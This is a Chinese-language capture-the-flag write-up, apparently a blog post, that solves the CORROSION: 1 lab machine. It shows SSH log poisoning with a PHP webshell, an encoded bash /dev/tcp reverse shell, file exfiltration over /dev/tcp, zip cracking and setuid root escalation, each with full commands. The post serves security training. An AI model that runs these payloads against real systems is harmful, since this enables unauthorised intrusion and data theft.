每周打靶练习之CORROSION: 1

先将靶机导入到我们的VMware里面,然后开启NAT模式。

我们使用我们的kali,打开终端输入arp-scan -l查看其他存活的主机,发现192.168.13.143为我们的靶机IP

接下来使用nmap对目标IP进行详细的扫描,nmap -A 192.168.13.143发现开启22端口和80端口

接下来去访问143的80端口,查看源码之后也没有什么发现,就是简单的apache的配置

接下来对目录进行一个扫描爆破,使用dirmap没有扫出目录,我们切换其他的扫描器gobuster,gobuster dir -u http://192.168.13.143/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip

发现了/task目录和/blog-post目录,访问一下http://192.168.13.143/tasks/有一个文件

打开发现是几行字,写着要我们完成任务

# 需要完成的任务

1. 更改身份验证日志的权限

2. 更改端口 22 -> 7672

3. 设置phpMyAdmin

接下来去访问另外一个目录http://192.168.13.143/blog-post/

最后的randy应该是我们的用户名,刚刚开启靶机的时候也是这个名字,源码里面也没有有用的东西,继续二级目录挖掘一下,gobuster dir -u http://192.168.13.143/blog-post/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip

发现还有两个目录分别为/archives和/uploads目录,接下来去访问一下/archives发现有一个php文件randylogs.php

但是访问却是什么都没有显示,可能需要执行什么参数

所以接下来我们使用ffuf去进行一个模糊测试参数,ffuf -c -w /usr/share/wordlists/dirb/big.txt -u 'http://192.168.13.143/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0

发现就是file这个参数,查看一下可以执行命令

通过之前的提示我们能知道要我们更改日志权限,尝试包含ssh日志文件/var/log/auth.log

我们通过ssh登录尝试一下看看是否可以更新到日志里面。

可以看到能够有结果记录到日志里面来,然后我们尝试包含一句话木马上去

只需将用户名跟更改为一句话木马即可。

ssh ‘<?php system($_REQUEST['cmd']);?>’@192.168.13.143

看看命令有没有执行成功,192.168.13.143/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=ifconfig

执行成功了,接下来用nc反弹一下shell

echo "bash -i >& /dev/tcp/192.168.13.128/7777 0>&1" | bash

要先将上面这一个反弹代码url编码

echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.13.128%2F7777%200%3E%261%22%20%7C%20bash

成功将shell反弹回来,sudo -l 看看有没有可以执行sudo的文件也没有,隐藏文件有个randylogs.php

接下来进行权限提升,find / -perm -u=s -type f 2>/dev/null,利用find命令查找拥有suid权限的文件也没有什么可以利用的

然后翻文件,在/var目录找到一个user_backup.zip的文件

利用nc将文件传输回来cat user_backup.zip >/dev/tcp/192.168.13.128/2222

这里的IP是输kali的IP

回来之后解压一下zip文件发现需要密码,那就要爆破一下zip的密码了

使用命令fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip

发现密码为!randybaby,然后继续解压user_backup.zip

这里有四个文件,分别为ssh的私钥和公钥,然后是密码和一个c文件,打开密码为:randylovesgoldfish1998

进入/home目录发现只有randy一个用户,那这个密码就是randy用户的了

Ssh登录一下Randy用户

当前目录下拿到第一个flag

接下来要提权拿到第二个flag

利用sudo -l命令查看可调用root权限执行的文件

刚刚我们看见了一个同样名字的c文件,我们去查看一下

#include<unistd.h>

void main()

{ setuid(0); // 设置 userid 为0 即为最高权限(root)

  setgid(0); // 设置 groupid 为0 即为最高权限(root)

  system("/usr/bin/date"); // 执行命令

  system("cat /etc/hosts"); // 执行命令

  system("/usr/bin/uname -a"); // 执行命令

}

这本身就是一个执行命令的代码,利用ssh命令上传本地文件

scp -r ./easysysinfo.c randy@192.168.13.143:/home/randy

上传上去了,修改一下代码为

#include "unistd.h"

#include "stdlib.h"

void main()

{

        setuid(0);

        setgid(0);

        system("bash -i");

}

利用gcc编译执行一下,成功提权到root用户。

进入root用户拿到最后的flag。

总结:

  1. ffuf的使用
  2. Ssh日志包含木马(/var/log/auth.log)
  3. Nc反弹shell命令(需要url加密)
  4. Zip加密破解(fcrack)
  5. Sudo提权
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值